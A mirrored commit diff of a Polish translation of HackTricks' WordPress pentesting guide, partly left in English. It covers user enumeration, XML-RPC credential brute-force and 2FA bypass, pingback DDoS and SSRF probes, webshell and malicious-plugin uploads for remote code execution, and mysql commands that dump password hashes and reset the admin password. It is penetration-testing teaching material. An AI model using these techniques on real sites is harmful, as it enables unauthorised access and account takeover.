mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
2afcb80875
commit
4a0c371fe0
@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
## Basic Information
|
||||
|
||||
- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- W **wp-config.php** możesz znaleźć hasło główne do bazy danych.
|
||||
- W **wp-config.php** możesz znaleźć hasło roota bazy danych.
|
||||
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Główne pliki WordPressa**
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` zawiera przydatne informacje, takie jak wersja zainstalowanego WordPressa.
|
||||
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
|
||||
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
|
||||
- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej witryny WordPress.
|
||||
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa.
|
||||
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
||||
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
|
||||
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych przy użyciu HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten sposób komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane do platformy.
|
||||
- `wp-includes/` to katalog, w którym znajdują się pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
|
||||
- `wp-sitemap.xml` W wersjach WordPress 5.5 i nowszych, WordPress generuje plik mapy witryny XML zawierający wszystkie publiczne wpisy oraz publicznie zapytalne typy wpisów i taksonomie.
|
||||
|
||||
**Post eksploatacja**
|
||||
**Post exploitation**
|
||||
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salta oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
|
||||
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
- **Administrator**
|
||||
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
|
||||
- **Autor**: Publikuje i zarządza swoimi postami
|
||||
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
||||
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
||||
- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami
|
||||
- **Author**: Publikuje i zarządza własnymi wpisami
|
||||
- **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
|
||||
- **Subscriber**: Przegląda wpisy i edytuje swój profil
|
||||
|
||||
## **Pasywna enumeracja**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Sprawdź wersję WordPressa**
|
||||
### **Sprawdzenie wersji WordPressa**
|
||||
|
||||
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
|
||||
|
||||
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Ekstrakcja wersji ogólnie
|
||||
### Wyodrębnianie wersji — ogólnie
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Wtyczki i motywy
|
||||
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force na liście wtyczek i motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
- **ID Brute:** Uzyskujesz ważnych użytkowników z witryny WordPress, przeprowadzając Brute Force na identyfikatorach użytkowników:
|
||||
- **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
|
||||
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź to **400**, wtedy id jest **nieprawidłowe**.
|
||||
|
||||
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
|
||||
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Inny punkt końcowy `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
|
||||
Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone będą tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**.
|
||||
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
|
||||
|
||||
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
||||
Zauważ także, że **/wp-json/wp/v2/pages** może prowadzić do leak adresów IP.
|
||||
|
||||
- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
||||
- **Login username enumeration**: Podczas logowania się przez **`/wp-login.php`** komunikat (**message**) jest **inny** w zależności od tego, czy wskazany **username** istnieje, czy nie.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
|
||||
Jeśli `xml-rpc.php` jest aktywne, możesz wykonać credentials brute-force lub użyć go do uruchamiania DoS ataków na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład).
|
||||
|
||||
Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
||||
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij takie żądanie:
|
||||
|
||||
**Sprawdź**
|
||||
```html
|
||||
@ -120,9 +120,9 @@ Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
```
|
||||

|
||||
|
||||
**Bruteforce poświadczeń**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można wykorzystać do bruteforce poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi metodami, które można wykorzystać do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Wiadomość _"Nieprawidłowa nazwa użytkownika lub hasło"_ wewnątrz odpowiedzi z kodem 200 powinna się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.
|
||||
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli poświadczenia nie są poprawne.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obejście 2FA**
|
||||
**Omijanie 2FA**
|
||||
|
||||
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc, jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc jeśli masz ważne creds, ale główne logowanie jest chronione 2FA, **możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji, które możesz wykonać przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS lub skanowanie portów**
|
||||
**DDoS or port scanning**
|
||||
|
||||
Jeśli możesz znaleźć metodę _**pingback.ping**_ w liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
|
||||
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** przeprowadzić skanowanie jakiejś wewnętrznej **sieci** (możesz wskazać dowolny port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost
|
||||
```
|
||||

|
||||
|
||||
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
|
||||
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
|
||||
|
||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS.
|
||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,17 +209,17 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp-cron.php`**\
|
||||
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
|
||||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
||||
Ten plik zwykle znajduje się w katalogu głównym strony WordPress: **`/wp-cron.php`**\
|
||||
Po **uzyskaniu dostępu** do tego pliku wykonywane jest "**ciężkie**" zapytanie MySQL (**query**), więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
|
||||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
||||
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie.
|
||||
|
||||
Oto odpowiedź, gdy to nie działa:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,32 +230,32 @@ Oto odpowiedź, gdy to nie działa:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
|
||||
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je wykorzystać.
|
||||
|
||||
## Automatic Tools
|
||||
## Automatyczne narzędzia
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Uzyskaj dostęp przez nadpisanie bitu
|
||||
## Uzyskaj dostęp przez nadpisanie jednego bitu
|
||||
|
||||
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogłeś zmienić 1 bit w dowolnym pliku wordpress. Można więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`).
|
||||
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było przełączyć 1 bit w dowolnym pliku wordpress. Można było więc zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)**
|
||||
**Modyfikacja pliku php w używanym motywie (wymagane dane logowania administratora)**
|
||||
|
||||
Wygląd → Edytor motywów → Szablon 404 (po prawej)
|
||||
Appearance → Theme Editor → 404 Template (at the right)
|
||||
|
||||
Zmień zawartość na powłokę php:
|
||||
Zmień zawartość na php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Szukaj w internecie, jak możesz uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz uzyskać dostęp tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -263,67 +263,67 @@ Możesz użyć:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
aby uzyskać sesję.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Możliwe, że można przesłać pliki .php jako wtyczkę.\
|
||||
Utwórz swój php backdoor używając na przykład:
|
||||
Może być możliwe przesłanie plików .php jako plugin.\
|
||||
Utwórz swój php backdoor na przykład używając:
|
||||
|
||||
.png>)
|
||||
|
||||
Następnie dodaj nową wtyczkę:
|
||||
Następnie dodaj nowy plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Prześlij wtyczkę i naciśnij Zainstaluj teraz:
|
||||
Wgraj plugin i naciśnij Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Kliknij na Kontynuuj:
|
||||
Kliknij na Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell:
|
||||
Prawdopodobnie nic się pozornie nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell:
|
||||
Otwórz go — zobaczysz URL do wykonania reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### Wgrywanie i aktywacja złośliwego pluginu
|
||||
|
||||
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten odbywa się przez pulpit WordPressa w następujący sposób:
|
||||
Ta metoda polega na instalacji złośliwego pluginu znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces przebiega przez WordPress dashboard w następujący sposób:
|
||||
|
||||
1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalacja wtyczki**:
|
||||
- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`.
|
||||
- Prześlij plik zip pobranej wtyczki.
|
||||
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
|
||||
4. **Eksploatacja**:
|
||||
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
|
||||
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
||||
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
||||
1. **Plugin Acquisition**: Plugin jest pobierany ze źródła takiego jak Exploit DB, np. [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`.
|
||||
- Wgraj plik zip pobranego pluginu.
|
||||
3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany z poziomu dashboardu.
|
||||
4. **Exploitation**:
|
||||
- Ze zainstalowanym i aktywowanym pluginem "reflex-gallery" można go wykorzystać, ponieważ jest znany z podatności.
|
||||
- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do serwisu.
|
||||
- Należy pamiętać, że to tylko jedna z wielu metod wykorzystania WordPressa.
|
||||
|
||||
Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
|
||||
Treść zawiera ilustracje pokazujące kroki w WordPress dashboard podczas instalacji i aktywacji pluginu. Jednak ważne jest, aby pamiętać, że wykorzystywanie luk w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
|
||||
|
||||
**Aby uzyskać bardziej szczegółowe kroki, sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## Z XSS do RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
|
||||
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
|
||||
- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa.
|
||||
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
|
||||
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
|
||||
- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów WordPressa innych firm.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Creates an user in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Wyciągnij nazwy użytkowników i hasła:
|
||||
Wyodrębnij nazwy użytkowników i hasła:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -331,29 +331,29 @@ Zmień hasło administratora:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Wordpress Wtyczki Pentest
|
||||
|
||||
### Attack Surface
|
||||
### Powierzchnia ataku
|
||||
|
||||
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Znajomość sposobów, w jaki wtyczka Wordpress może ujawnić funkcjonalność, jest kluczowa do znalezienia luk w tej funkcjonalności. Możesz znaleźć, w jaki sposób wtyczka może ujawniać funkcjonalność, w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, dość często te funkcje opierają zarówno autoryzację, jak i uwierzytelnienie na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
Jednym ze sposobów, w jaki wtyczka może udostępnić funkcje użytkownikom, są handlery AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, który **każdy uwierzytelniony użytkownik w instancji Wordpress może posiadać** (niezależnie od roli).
|
||||
|
||||
